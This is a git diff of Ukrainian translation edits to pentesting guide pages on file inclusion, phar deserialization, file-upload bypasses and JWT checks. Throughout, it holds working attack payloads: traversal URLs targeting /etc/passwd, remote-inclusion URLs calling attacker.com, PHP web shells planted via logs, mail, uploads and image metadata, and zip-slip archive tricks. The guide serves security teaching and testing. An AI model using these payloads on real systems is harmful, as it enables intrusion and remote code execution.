Для дослідження каталогів у різних місцях файлової системи, відповідно налаштуйте payload. Наприклад, щоб перевірити, чи містить `/var/www/` каталог `private` (припускаючи, що поточний каталог на глибині 3), використовуйте:
Для дослідження каталогів у різних місцях файлової системи відповідно налаштуйте payload. Наприклад, щоб перевірити, чи містить `/var/www/` каталог `private` (припускаючи, що поточний каталог на глибині 3), використовуйте:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
@ -107,7 +111,7 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` та `/etc/passwd/` всі розглядаються як один і той же шлях.
- Коли останні 6 символів - це `passwd`, додавання `/` (перетворюючи його на `passwd/`) не змінює цільовий файл.
- Аналогічно, якщо до шляху файлу додається `.php` (як `shellcode.php`), додавання `/.` в кінці не змінить файл, до якого здійснюється доступ.
- Аналогічно, якщо до шляху файлу додається `.php` (наприклад, `shellcode.php`), додавання `/.` в кінці не змінить файл, до якого здійснюється доступ.
Наведенні приклади демонструють, як використовувати скорочення шляху для доступу до `/etc/passwd`, поширеної цілі через її чутливий вміст (інформація про облікові записи користувачів):
```
@ -127,7 +131,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
При використанні технік скорочення шляхів важливо розуміти поведінку парсингу шляхів сервера та структуру файлової системи. Кожен сценарій може вимагати різного підходу, і часто необхідно тестування, щоб знайти найбільш ефективний метод.
**Цю вразливість було виправлено в PHP 5.3.**
**Цю вразливість виправлено в PHP 5.3.**
### **Трюки обходу фільтрів**
```
@ -139,7 +143,7 @@ http://example.com/index.php?page=PhP://filter
```
## Віддалене включення файлів
У php це за замовчуванням вимкнено, оскільки **`allow_url_include`** є **Вимкнено.** Він повинен бути **Увімкнено** для того, щоб це працювало, і в такому випадку ви могли б включити PHP файл з вашого сервера і отримати RCE:
У php це за замовчуванням вимкнено, оскільки **`allow_url_include`** є **Вимкнено.** Він повинен бути **Увімкнено**, щоб це працювало, і в такому випадку ви могли б включити PHP файл з вашого сервера і отримати RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
@ -149,7 +153,7 @@ http://example.com/index.php?page=\\attacker.com\shared\mal.php
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!NOTE]
> У попередньому коді фінальний `+.txt` був доданий, оскільки зловмиснику потрібен рядок, який закінчується на `.txt`, тому рядок закінчується на ньому, і після декодування b64 ця частина поверне просто сміття, а реальний PHP код буде включено (і, отже, виконано).
> У попередньому коді фінальний `+.txt` був доданий, оскільки атакуючому потрібен рядок, який закінчується на `.txt`, тому рядок закінчується на ньому, а після декодування b64 ця частина поверне просто сміття, і справжній PHP код буде включений (і, отже, виконаний).
Інший приклад **без використання протоколу `php://`** буде:
```
@ -265,7 +269,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> Частина "php://filter" не чутлива до регістру
> Частина "php://filter" нечутлива до регістру
### Використання фільтрів php як оракула для читання довільних файлів
@ -279,7 +283,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
- Це, в поєднанні з попереднім (і іншими фільтрами в залежності від вгаданої літери), дозволить нам вгадати літеру на початку тексту, спостерігаючи, коли ми робимо достатньо перетворень, щоб вона більше не була шістнадцятковим символом. Тому що, якщо шістнадцятковий, dechunk не видалить його, а початкова бомба викличе помилку php.
- Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру на наступну (так що після цього кодека: a -> b). Це дозволяє нам дізнатися, чи є перша літера `a`, наприклад, тому що якщо ми застосуємо 6 з цього кодека a->b->c->d->e->f->g, літера більше не є шістнадцятковим символом, отже, dechunk не видалив її, і помилка php викликана, оскільки вона множиться з початковою бомбою.
- Використовуючи інші перетворення, такі як **rot13** на початку, можливо витікати інші символи, такі як n, o, p, q, r (і інші кодеки можуть бути використані для переміщення інших літер у шістнадцятковий діапазон).
- Коли початковий символ є числом, потрібно закодувати його в base64 і витікати 2 перші літери, щоб витікати число.
- Коли початковий символ є числом, потрібно закодувати його в base64 і витікати перші 2 літери, щоб витікати число.
- Остаточна проблема полягає в тому, **як витікати більше, ніж початкова літера**. Використовуючи фільтри порядку пам'яті, такі як **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можливо змінити порядок символів і отримати на першій позиції інші літери тексту.
- І для того, щоб мати можливість отримати **додаткові дані**, ідея полягає в тому, щоб **згенерувати 2 байти сміттєвих даних на початку** з **convert.iconv.UTF16.UTF16**, застосувати **UCS-4LE**, щоб зробити його **поворотом з наступними 2 байтами**, і **видалити дані до сміттєвих даних** (це видалить перші 2 байти початкового тексту). Продовжуйте це робити, поки не досягнете бажаного біта для витоку.
@ -367,7 +371,7 @@ phar-deserialization.md
### CVE-2024-2961
Було можливим зловживати **будь-яким довільним читанням файлів з PHP, що підтримує php фільтри**, щоб отримати RCE. Детальний опис можна [**знайти в цьому пості**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Дуже короткий підсумок: **3-байтовий переповнення** в купі PHP було зловжито для **зміни ланцюга вільних шматків** специфічного розміру, щоб мати можливість **записувати що завгодно за будь-якою адресою**, тому був доданий хук для виклику **`system`**.\
Дуже короткий підсумок: **3-байтовий переповнення** в купі PHP було зловжито для **зміни ланцюга вільних шматків** специфічного розміру, щоб мати можливість **записувати що завгодно в будь-яку адресу**, тому був доданий хуки для виклику **`system`**.\
Було можливим виділяти шматки специфічних розмірів, зловживаючи більше php фільтрами.
### Більше протоколів
@ -391,7 +395,7 @@ phar-deserialization.md
```bash
assert("strpos('$file', '..') === false") or die("");
```
Хоча це має на меті зупинити перетворення, це ненавмисно створює вектор для ін'єкції коду. Щоб використати це для читання вмісту файлів, зловмисник може використовувати:
Хоча це має на меті зупинити обходи, це ненавмисно створює вектор для ін'єкції коду. Щоб використати це для читання вмісту файлів, зловмисник може використовувати:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
@ -408,9 +412,9 @@ assert("strpos('$file', '..') === false") or die("");
У [**цьому неймовірному пості**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) пояснюється, як сліпий перехід по шляху може бути зловжито через фільтр PHP для **екстракції вмісту файлу через помилковий оракул**.
У підсумку, техніка використовує **"UCS-4LE" кодування**, щоб зробити вміст файлу таким **великим**, що **функція PHP**, що відкриває файл, викличе **помилку**.
У підсумку, техніка використовує **"UCS-4LE" кодування**, щоб зробити вміст файлу таким **великим**, що **PHP функція**, що відкриває файл, викличе **помилку**.
Потім, щоб витягти перший символ, використовується фільтр **`dechunk`** разом з іншими, такими як **base64** або **rot13**, а в кінці використовуються фільтри **convert.iconv.UCS-4.UCS-4LE** та **convert.iconv.UTF16.UTF-16BE**, щоб **помістити інші символи на початку та витягти їх**.
Потім, щоб витягти перший символ, фільтр **`dechunk`** використовується разом з іншими, такими як **base64** або **rot13**, а в кінці фільтри **convert.iconv.UCS-4.UCS-4LE** та **convert.iconv.UTF16.UTF-16BE** використовуються для **розміщення інших символів на початку та їх витоку**.
**Функції, які можуть бути вразливими**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (тільки для читання з цим)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
@ -420,18 +424,18 @@ assert("strpos('$file', '..') === false") or die("");
### Remote File Inclusion
Як було пояснено раніше, [**перейдіть за цим посиланням**](./#remote-file-inclusion).
Пояснено раніше, [**перейдіть за цим посиланням**](./#remote-file-inclusion).
### Через файл журналу Apache/Nginx
Якщо сервер Apache або Nginx є **вразливим до LFI** всередині функції включення, ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` або `/var/log/nginx/access.log`**, встановивши в **user agent** або в **GET параметрі** php shell, наприклад, **`<?php system($_GET['c']); ?>`** і включити цей файл.
Якщо сервер Apache або Nginx **вразливий до LFI**, всередині функції включення ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` або `/var/log/nginx/access.log`**, встановивши в **user agent** або в **GET параметрі** php shell, як **`<?php system($_GET['c']); ?>`** і включити цей файл.
> [!WARNING]
> Зверніть увагу, що **якщо ви використовуєте подвійні лапки** для shell замість **одинарних лапок**, подвійні лапки будуть змінені на рядок "_**quote;**_", **PHP викине помилку** там, і **нічого іншого не буде виконано**.
> Зверніть увагу, що **якщо ви використовуєте подвійні лапки** для shell замість **одинарних лапок**, подвійні лапки будуть змінені на рядок "_**quote;**_", **PHP викине помилку** там і **нічого іншого не буде виконано**.
>
> Також переконайтеся, що ви **правильно написали payload**, інакше PHP буде помилятися щоразу, коли намагатиметься завантажити файл журналу, і у вас не буде другої можливості.
Це також можна зробити в інших журналах, але **будьте обережні**, код всередині журналів може бути URL-кодований, і це може знищити Shell. Заголовок **authorisation "basic"** містить "user:password" в Base64, і він декодується всередині журналів. PHPShell може бути вставлений всередині цього заголовка.\
Це також можна зробити в інших журналах, але **будьте обережні**, код всередині журналів може бути URL-кодований, і це може знищити Shell. Заголовок **authorisation "basic"** містить "user:password" у Base64, і він декодується всередині журналів. PHPShell може бути вставлений всередині цього заголовка.\
Інші можливі шляхи до журналів:
```python
/var/log/apache2/access.log
@ -444,16 +448,16 @@ assert("strpos('$file', '..') === false") or die("");
/var/log/nginx/error.log
/var/log/httpd/error_log
```
Список слів для фуззингу: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
Список слів для Fuzzing: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Через електронну пошту
**Надішліть лист** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>`, і спробуйте включити до листа користувача шлях, наприклад **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`**
**Надішліть лист** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>`, і спробуйте включити до листа користувача шляхом, як **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`**
### Через /proc/\*/fd/\*
1. Завантажте багато оболонок (наприклад: 100)
2. Включіть [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID = PID процесу (можна перебрати) і $FD - файловий дескриптор (також можна перебрати)
1. Завантажте багато shell'ів (наприклад: 100)
2. Включіть [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID = PID процесу (можна перебрати) і $FD - дескриптор файлу (також можна перебрати)
### Через /proc/self/environ
@ -464,7 +468,7 @@ User-Agent: <?=phpinfo(); ?>
```
### Via upload
Якщо ви можете завантажити файл, просто вставте оболонковий код у нього (наприклад: `<?php system($_GET['c']); ?>`).
Якщо ви можете завантажити файл, просто вставте оболонку в нього (наприклад: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
@ -517,7 +521,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (no file needed)
Цей [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php filters для генерації довільного контенту** як виходу. Це в основному означає, що ви можете **генерувати довільний php код** для включення **без необхідності записувати** його у файл.
Цей [**опис**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php фільтри для генерації довільного контенту** як виходу. Це в основному означає, що ви можете **генерувати довільний php код** для включення **без необхідності записувати** його у файл.
{{#ref}}
lfi2rce-via-php-filters.md
@ -557,7 +561,7 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + URL args
Як [**пояснюється в цьому пості**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` існує за замовчуванням у php docker образах. Більше того, можливо передавати аргументи до скрипта через URL, оскільки вказано, що якщо параметр URL не має `=`, його слід використовувати як аргумент.
Як [**пояснено в цьому пості**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` існує за замовчуванням у php docker образах. Більше того, можливо передавати аргументи до скрипта через URL, оскільки вказано, що якщо параметр URL не має `=`, його слід використовувати як аргумент.
Наступний запит створює файл у `/tmp/hello.php` з вмістом `<?=phpinfo()?>`:
```bash

View File

@ -2,11 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
**Phar** файли (PHP Archive) містять **метадані в серіалізованому форматі**, тому, коли їх розбирають, ці **метадані** **десеріалізуються**, і ви можете спробувати зловживати вразливістю **десеріалізації** в коді **PHP**.
Найкраще в цій характеристиці те, що ця десеріалізація відбудеться навіть при використанні PHP функцій, які не виконують PHP код, таких як **file_get_contents(), fopen(), file() або file_exists(), md5_file(), filemtime() або filesize()**.
Найкраще в цій характеристиці те, що ця десеріалізація відбудеться навіть при використанні функцій PHP, які не виконують PHP код, таких як **file_get_contents(), fopen(), file() або file_exists(), md5_file(), filemtime() або filesize()**.
Отже, уявіть ситуацію, коли ви можете змусити PHP веб-сайт отримати розмір довільного файлу за допомогою протоколу **`phar://`**, і в коді ви знайдете **клас**, подібний до наступного:
```php:vunl.php
@ -61,8 +59,8 @@ php vuln.php
```
### Посилання
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
{{#ref}}
https://blog.ripstech.com/2018/new-php-exploitation-technique/
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## File Upload General Methodology
Інші корисні розширення:
@ -44,7 +43,7 @@
5. Додайте **ще один рівень розширень** до попередньої перевірки:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Спробуйте поставити **exec розширення перед дійсним розширенням** і сподівайтеся, що сервер неправильно налаштований. (корисно для експлуатації неправильних налаштувань Apache, де все з розширенням **_**.php**_**, але** не обов'язково закінчується на .php** виконає код):
6. Спробуйте поставити **виконуване розширення перед дійсним розширенням** і сподівайтеся, що сервер неправильно налаштований. (корисно для експлуатації неправильних налаштувань Apache, де все з розширенням **_**.php**_**, але** не обов'язково закінчується на .php** виконає код):
- _ex: file.php.png_
7. Використання **NTFS альтернативного потоку даних (ADS)** у **Windows**. У цьому випадку символ двокрапки “:” буде вставлений після забороненого розширення і перед дозволеним. В результаті на сервері буде створено **порожній файл з забороненим розширенням** (наприклад, “file.asax:.jpg”). Цей файл може бути відредагований пізніше за допомогою інших технік, таких як використання його короткого імені. Шаблон “**::$data**” також може бути використаний для створення непорожніх файлів. Тому додавання символу крапки після цього шаблону також може бути корисним для обходу подальших обмежень (.e.g. “file.asp::$data.”)
8. Спробуйте порушити обмеження імені файлу. Дійсне розширення обрізається. А шкідливий PHP залишається. AAA<--SNIP-->AAA.php
@ -52,7 +51,7 @@
```
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@ -62,17 +61,17 @@ AAA<--SNIP 232 A-->AAA.php.png
### Bypass Content-Type, Magic Number, Compression & Resizing
- Обійти перевірки **Content-Type**, встановивши **значення** заголовка **Content-Type** на: _image/png_ , _text/plain , application/octet-stream_
1. Словник **Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Обійти перевірку **magic number**, додавши на початку файлу **байти реального зображення** (заплутати команду _file_). Або введіть оболонку в **метадані**:\
- Обійти **Content-Type** перевірки, встановивши **значення** заголовка **Content-Type** на: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **словник**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Обійти **перевірку магічного числа**, додавши на початку файлу **байти справжнього зображення** (заплутати команду _file_). Або введіть оболонку в **метадані**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` або ви також можете **ввести корисне навантаження безпосередньо** в зображення:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Якщо **сжаття додається до вашого зображення**, наприклад, за допомогою деяких стандартних бібліотек PHP, таких як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки не будуть корисні. Однак ви можете використовувати **PLTE chunk** [**техніка, визначена тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
- Якщо **сжаття додається до вашого зображення**, наприклад, за допомогою деяких стандартних PHP бібліотек, таких як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки не будуть корисні. Однак ви можете використовувати **PLTE chunk** [**техніку, визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Веб-сторінка також може **змінювати розмір** **зображення**, використовуючи, наприклад, функції PHP-GD `imagecopyresized` або `imagecopyresampled`. Однак ви можете використовувати **IDAT chunk** [**техніка, визначена тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
- Веб-сторінка також може **змінювати розмір** **зображення**, використовуючи, наприклад, функції PHP-GD `imagecopyresized` або `imagecopyresampled`. Однак ви можете використовувати **IDAT chunk** [**техніку, визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Інша техніка для створення корисного навантаження, яке **переживе зміну розміру зображення**, використовуючи функцію PHP-GD `thumbnailImage`. Однак ви можете використовувати **tEXt chunk** [**техніка, визначена тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
- Інша техніка для створення корисного навантаження, яке **переживе зміну розміру зображення**, використовуючи функцію PHP-GD `thumbnailImage`. Однак ви можете використовувати **tEXt chunk** [**техніку, визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
@ -105,9 +104,9 @@ AAA<--SNIP 232 A-->AAA.php.png
## **uWSGI RCE**
Для детального вивчення цієї вразливості перевірте оригінальне дослідження: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Для детального вивчення цієї вразливості ознайомтеся з оригінальним дослідженням: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Вразливості віддаленого виконання команд (RCE) можуть бути використані на серверах uWSGI, якщо є можливість змінити файл конфігурації `.ini`. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "магічних" змінних, заповнювачів і операторів. Зокрема, оператор '@', який використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані з стандартного виходу процесу. Цю функцію можна маніпулювати для злочинних цілей, таких як віддалене виконання команд або довільне записування/читання файлів, коли обробляється файл конфігурації `.ini`.
Вразливості віддаленого виконання команд (RCE) можуть бути експлуатовані на серверах uWSGI, якщо є можливість змінити файл конфігурації `.ini`. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "магічних" змінних, заповнювачів і операторів. Зокрема, оператор '@', який використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані з стандартного виходу процесу. Цю функцію можна маніпулювати для злочинних цілей, таких як віддалене виконання команд або довільне записування/читання файлів, коли обробляється файл конфігурації `.ini`.
Розгляньте наступний приклад шкідливого файлу `uwsgi.ini`, що демонструє різні схеми:
```ini
@ -133,8 +132,8 @@ characters = @(call://uwsgi_func)
## **wget File Upload/SSRF Trick**
В деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів**, і ви можете **вказати** **URL**. У цих випадках код може перевіряти, чи знаходиться розширення завантажених файлів у білому списку, щоб забезпечити завантаження лише дозволених файлів. Однак, **цю перевірку можна обійти.**\
**Максимальна** довжина **імені файлу** в **linux** становить **255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл під назвою "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл на **"A"\*232+".php"**.
В деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів**, і ви можете **вказати** **URL**. У цих випадках код може перевіряти, що розширення завантажених файлів знаходиться в білому списку, щоб забезпечити завантаження лише дозволених файлів. Однак, **цю перевірку можна обійти.**\
Максимальна довжина **імені файлу** в **linux** становить **255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл під назвою "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл на **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -196,7 +195,9 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
#### Розширення Burp
{% embed url="https://github.com/portswigger/upload-scanner" %}
{{#ref}}
https://github.com/portswigger/upload-scanner
{{#endref}}
## Магічні байти заголовка
@ -207,9 +208,9 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
### Автоматично розпаковане завантаження Zip/Tar
Якщо ви можете завантажити ZIP, який буде розпаковано на сервері, ви можете зробити 2 речі:
Якщо ви можете завантажити ZIP, який буде розпакований на сервері, ви можете зробити 2 речі:
#### Символічне посилання
#### Символьне посилання
Завантажте посилання, що містить м'які посилання на інші файли, а потім, отримуючи доступ до розпакованих файлів, ви отримаєте доступ до пов'язаних файлів:
```
@ -217,9 +218,9 @@ ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Розпакування в різні папки
### Розпакування в різних папках
Несподіване створення файлів у каталогах під час розпакування є значною проблемою. Незважаючи на початкові припущення, що ця конфігурація може захистити від виконання команд на рівні ОС через шкідливі завантаження файлів, ієрархічна підтримка стиснення та можливості обходу каталогів формату ZIP можуть бути використані. Це дозволяє зловмисникам обходити обмеження та виходити за межі безпечних каталогів завантаження, маніпулюючи функціональністю розпакування цільового застосунку.
Несподіване створення файлів у каталогах під час розпакування є значною проблемою. Незважаючи на початкові припущення, що ця конфігурація може захистити від виконання команд на рівні ОС через шкідливі завантаження файлів, ієрархічна підтримка стиснення та можливості обходу каталогів формату ZIP-архіву можуть бути використані. Це дозволяє зловмисникам обходити обмеження та виходити за межі безпечних каталогів завантаження, маніпулюючи функціональністю розпакування цільового застосунку.
Автоматизований експлойт для створення таких файлів доступний на [**evilarc на GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати, як показано:
```python
@ -269,7 +270,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Модифікація за допомогою Hex Editor або vi**: Імена файлів всередині zip змінюються за допомогою vi або hex editor, змінюючи "xxA" на "../" для переходу між каталогами.
3. **Модифікація за допомогою Hex Editor або vi**: Імена файлів всередині zip змінюються за допомогою vi або hex редактора, змінюючи "xxA" на "../" для переходу між каталогами.
```bash
:set modifiable
@ -296,11 +297,11 @@ pop graphic-context
## Поліглотні файли
Поліглотні файли слугують унікальним інструментом у кібербезпеці, діючи як хамелеони, які можуть дійсно існувати в кількох форматах файлів одночасно. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який функціонує як GIF, так і RAR-архів. Такі файли не обмежуються лише цією парою; комбінації, такі як GIF і JS або PPT і JS, також можливі.
Поліглотні файли слугують унікальним інструментом у кібербезпеці, діючи як хамелеони, які можуть дійсно існувати в кількох форматах файлів одночасно. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який функціонує як GIF та RAR архів. Такі файли не обмежуються лише цією парою; комбінації, такі як GIF і JS або PPT і JS, також можливі.
Основна корисність поліглотних файлів полягає в їх здатності обходити заходи безпеки, які перевіряють файли за типом. Загальною практикою в різних додатках є дозволяти лише певні типи файлів для завантаження — такі як JPEG, GIF або DOC — щоб зменшити ризик, пов'язаний з потенційно шкідливими форматами (наприклад, JS, PHP або Phar файли). Однак поліглот, відповідно до структурних критеріїв кількох типів файлів, може непомітно обійти ці обмеження.
Незважаючи на свою адаптивність, поліглоти стикаються з обмеженнями. Наприклад, хоча поліглот може одночасно втілювати файл PHAR (PHp ARchive) і JPEG, успіх його завантаження може залежати від політики розширень файлів платформи. Якщо система сувора щодо дозволених розширень, то лише структурна двоїстість поліглота може не бути достатньою для гарантії його завантаження.
Незважаючи на свою адаптивність, поліглоти стикаються з обмеженнями. Наприклад, хоча поліглот може одночасно втілювати файл PHAR (PHp ARchive) та JPEG, успіх його завантаження може залежати від політики розширень файлів платформи. Якщо система сувора щодо дозволених розширень, то лише структурна двоїстість поліглота може не бути достатньою для гарантії його завантаження.
Більше інформації за адресою: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
@ -313,5 +314,4 @@ pop graphic-context
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -29,11 +29,11 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
#### **Чи перевіряється токен?**
Щоб перевірити, чи перевіряється підпис JWT:
Щоб перевірити, чи підпис JWT перевіряється:
- Повідомлення про помилку вказує на те, що триває перевірка; чутливі деталі у детальних помилках слід переглянути.
- Зміна на повернутій сторінці також вказує на перевірку.
- Відсутність змін вказує на відсутність перевірки; саме тоді варто експериментувати зі зміною навантаження.
- Відсутність змін вказує на відсутність перевірки; це момент для експериментів із зміною навантаження.
### Походження
@ -52,14 +52,14 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
### Змінити алгоритм на None
